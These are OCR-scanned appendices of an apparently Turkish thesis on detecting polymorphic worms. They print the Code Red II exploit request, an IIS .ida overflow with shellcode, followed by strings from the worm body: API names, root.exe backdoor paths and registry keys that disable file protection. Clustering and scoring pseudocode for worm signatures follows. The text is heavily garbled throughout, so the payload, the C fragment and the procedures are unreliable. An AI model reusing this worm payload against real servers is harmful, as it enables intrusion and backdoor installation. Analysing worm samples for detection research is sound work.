for(i = 0; 1 < nfiles; 1i++)
unlink (files[i]);

exit (1) ;

static xread(int fd, char *buf, int n)

{

int cc, nl=0;
while(nl < n) {
cc = read(fd, buf, n - nl);
if (cc <= 0)
return (cc) ;
buf += cc;
nl += cc;
}

return(nl);

1=

128)
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EK-2. Code Red II Solucani Niifuz Vektori ve Solucan

Govdesi
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GET /default.ida?XX{220 x X}XX%u9090%u6858%ucbd3%u7801%u9090%u6858
$uchbd3%u7801%u9090%u6858%ucbd3%u7801\%u9090%u9090%u8190%u00c3%u0003

$u8b00%ub31b%sub3£f£5u0078%u0000%u00=a

Content-type: text/xml
Content-length: 3379
CodeRedl 1

F4)E

Th~f

Th~f

; MZu

KERNu

EL32u

GetPu

rocAu

D$Sdg

LoadLibraryA
CreateThread
GetTickCount

Sleep
GetSystemDefaultLangID
GetSystemDirectoryA
CopyFileA
GlobalFindAtomA
GlobalAddAtomA
CloseHandle

_lcreat

_lwrite

_lclose
GetSystemTime

WSs2 32.DLL

socket

closesocket
ioctlsocket

connect

select

send

recv

gethostname
gethostbyname
WSAGetLastError
USER32.DLL
ExitWindowsEx
\CMD.EXE
d:\inetpub\scripts\root.exe

d:\progra~l\common~1\system\MSADC\root.exe

hT @
hH @
hxX @
t6Ff
$°0@
$doa@
$ho@
sp0d
%t0Q
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$x0Q@

z10@

\EXPLORER.EXE
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
SFCDisable
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots
/Scripts

/MSADC

c:\,,217

d:\,,217
KERNEL32.d11
ADVAPI32.d1l1l

Sleep
GetWindowsDirectoryA
WinExec
RegQueryValueExA
RegSetValueExA
RegOpenKeyExA
RegCloseKey
d:\explorer.exe
8>u'j
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EK-3. YIGKI Kenar Kiimeleme Prosediirii

Prosedlir: Pgimeie E vigki

Girdiler: Yonli kenar kumesi Ergmpagusoiucanr SOlucan Akis Havuzu,
Normal Akis Havuzu.

Ciktilar: Glgld ydnliu kenar kimesi Eg;qy, Zayif yonld kenar kimesi
Esay.ps YOnli kenar skorlari kimesi Egy.

Egicla = )

Ezaylf =0

S=0 //{S(QJ)==gﬁdﬁ, ejer ¢;; glcglid ise;S(qJ)zzzayU} eger e
//zayif ise}

Cgicta = 1 // { Egiscia kimelemesinin merkezinin (centroid) baslangic
//degeri}

Czapf =0 //{Ezqyy  klmelemesinin merkezinin (centroid) baslangic
//degeri}

for all e;; € Ergmpagnsotucan dO
(Eskor)ij = fego,(€ij) //Kenari olusturan diigim siralari gézetilir.
end for
for all e;; € Erampagusotucan d0O
S(e; ;) = argmindistance((Eskor)i,j» Ck)
k € {gucli, zay1f }
end for
while S has changed do
for all i€ {giicli, zayif} do
Recompute ¢; as the centroid of {e|S(e) =i}
end for
for all e;; € Erampagusotucan d0O
S(e; ;) = argmindistance((Eskor)i,j» Ck)
k € {gucli, zay1f }
end for
end while
for all e;; € Erampagnsotucan dO
if S(ei‘j) = glicli then

Egiicri

= Lgiga U €

else

Ezaylf = Ezaylf U ei,j
end if

end for
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EK-4. YsGKI Kenar Kiimeleme Prosediirii

Prosedlir: Pgimeie £ vscki

Girdiler: Yonli kenar kumesi Ergmpagusoiucanr SOlucan Akis Havuzu,
Normal Akis Havuzu.

Ciktilar: Glgld ydnliu kenar kimesi Eg;qy, Zayif yonld kenar kimesi
Esay.ps YOnli kenar skorlari kimesi Egy.

Egicla = )

Ezaylf =0

S=0 //{S(QJ)==gﬁdﬁ, ejer ¢;; glcglid ise;S(qJ)zzzayU} eger e
//zayif ise}

Cgicta = 1 // { Egiscia kimelemesinin merkezinin (centroid) baslangic
//degeri}

Czapf =0 //{Ezqyy  klmelemesinin merkezinin (centroid) baslangic
//degeri}

for all e;; € Ergmpagnsotucan dO
(Eskor)ij = feg,,(€ij) //Kenari olusturan dugim siralari gdzetilmez.
end for
for all e;; € Erampagusotucan d0O
S(e; ;) = argmindistance((Eskor)i,j» Ck)
k € {gucli, zay1f }
end for
while S has changed do
for all i€ {giicli, zayif} do
Recompute ¢; as the centroid of {e|S(e) =i}
end for
for all e;; € Erampagusotucan d0O
S(e; ;) = argmindistance((Eskor)i,j» Ck)
k € {gucli, zay1f }
end for
end while
for all e;; € Erampagnsotucan dO
if S(ei‘j) = glicli then

Egiicri

= Lgiga U €

else

Ezaylf = Ezaylf U ei,j
end if

end for
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EK-5. GKI Akis Degerlendirme Prosediirii

Prosedir: Pggiak, s_degerlendir

Girdiler: Glicli kenar kiumesi Eg;q;, Kenar skorlari kimesi Eg,p, Akis
cizgesi X =(V,E,), Esik degeri E.

Ciktilar: GKI akis etiketi kararzi.

S =0 //{Akis skoru}
N =X akis ¢izgesi ig¢indeki didiim sayisi
i=1
j=1
while i <N do

j=i+1

while j<N do

if ex;; € Ejy then

§=5+ (Eskor)i,j

i=j
break
else
if j = N then
S =S8+ (Eskor)i(i+1)
i=i+1
break
else
j=j+1
end if
end if
end while

end while
if S>F then

X = PolimorfikSolucan
else

X = NormalAkis
end if
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EK-6. YIKDB Diigiim Kiimeleme Prosediiri

Prosedir: Prumelev

Girdiler: Dugum kimesi V, Solucan Akis Havuzu, Normal Akis Havuzu.

Ciktilar: Glicld dugim kimesi Vgugy, Zayrf diugim kimesi Vigy,r, DUGlm
skorlari kimesi V-

Vgiiglil =0

Vzaylf =0

S=0¢ //{S(v;) = gigli, eJer v; gliclu ise; S(v;) = zayif, eJer v; zayif
//ise}

Cgicta = 1 //{Vgiqa  klmelemesinin merkezinin (centroid) Dbaslangic
//degeri}

Coapp =0 //{Vzayy kimelemesinin merkezinin (centroid) baslangic
//degeri}

for all v; eV do
Vskor)i = frgeor (Vi)
end for
for all v; eV do
S(v;) = argmindistance((Vskor)i ¢j)
j € {guglt, zayif}
end for
while S has changed do
for all i€ {gigli, zayif} do
Recompute ¢; as the centroid of {UD(U)=i}
end for
for all v; eV do
S(v;) = argmin distance((Vsior)i» ¢j)
j € {gtgli, zay1f}
end for
end while
for all v; eV do
it S(v;) = gigli then

Vgiicri

= Vgiga U Vi

else

Vzaylf = Vzaylf Uy,
end if
end for
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EK-7. YIKDB Kenar Kiimeleme Prosediirii

Prosedir: Prumeler

Girdiler: Kenar kumesi Ergmpagnzayfsotucans SOlucan Akis Havuzu, Normal
Akis Havuzu.

Ciktilar: Gug¢lu kenar kiumesi Eg;qy, Zayif kenar kimesi Egy,r, Kenar
skorlari ktmesi Egor-

Egicia = @

Ezaylf =0

S=0 //{S(WZU) = glglii, eJer wgz; glicli ise; S(WZL-J-) = zayif, eJer wz;
//zayif ise}

Cgicti =1 //{Egsqq  kimelemesinin  merkezinin (centroid) baslangig
//deeri}

Crayif =0 //{Ezayif kimelemesinin merkezinin (centroid) baslangic
//deJeri}

for all wz;; € Ergmpaguzayfsotucan 9O
(Eskor)ij = fegror WZij)
end for
for all wz;; € Erampagnzayssotucan dO
S(wz; ;) = argmindistance((Egkor)i,j» Ck)
k € {gigcli, zay1f}
end for
while S has changed do
for all i€ {gicli, zayif} do
Recompute ¢; as the centroid of {wz|S(wz) =i}
end for
for all wz;; € Erampagnzayfsotucan dO
S(wz; ;) = argmindistance((Egkor)i,j» Ck)
k € {giicli, zay1f}
end for

end while
for all WZi,j € ETamBathaylfSolucan do
if S(wzi_]-) = glcli then
Egica = Egicia Y Wz j
else

Ezaylf = Ezaylf Uwz; ;

end if
end for




EK-8. YIKDB Giic¢lii Kenar Bulma Prosediirii
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Prosedir: Pgiiglﬁ_kenar_bul

Girdiler: Dugum kimesi Vgqyy Kenar kimesi Ergmpagnzayfsoucans GUCLlU

kenar kiimesi Egygy, Zayif kenar kimesi Egqyf.

Ciktilar: Y1KDB imzasi gliclt kenar kimesi Egicinimza-

EGii(;liHmza =0
N = V,4y kimesi eleman sayisi
for i=2 to N do

MaksSkor;; = 0 //{MaksSkory;: wz;"den wz;'ye giden
//skorlu yolun skoru}

end for

D=¢ //{d;eD: Maksimal vyol {izerinde, wgz  diiJumine
//baglantisi olan wgz; digiminin indis degeri j.

for i=1 to N—1 do
for i=1 to N—1 do
if MaksSkor; < MaksSkory; + (Eskor)i,j
MaksSkor,; = MaksSkory; + (Eskor)i

dj=1i
end if
end for
end for
i =N
repeat

it wzy,; € Egyqq then
EGictiimza = Egugtiimza Y WZayi
end if
i=d;
until i#1

maksimum

dogrudan






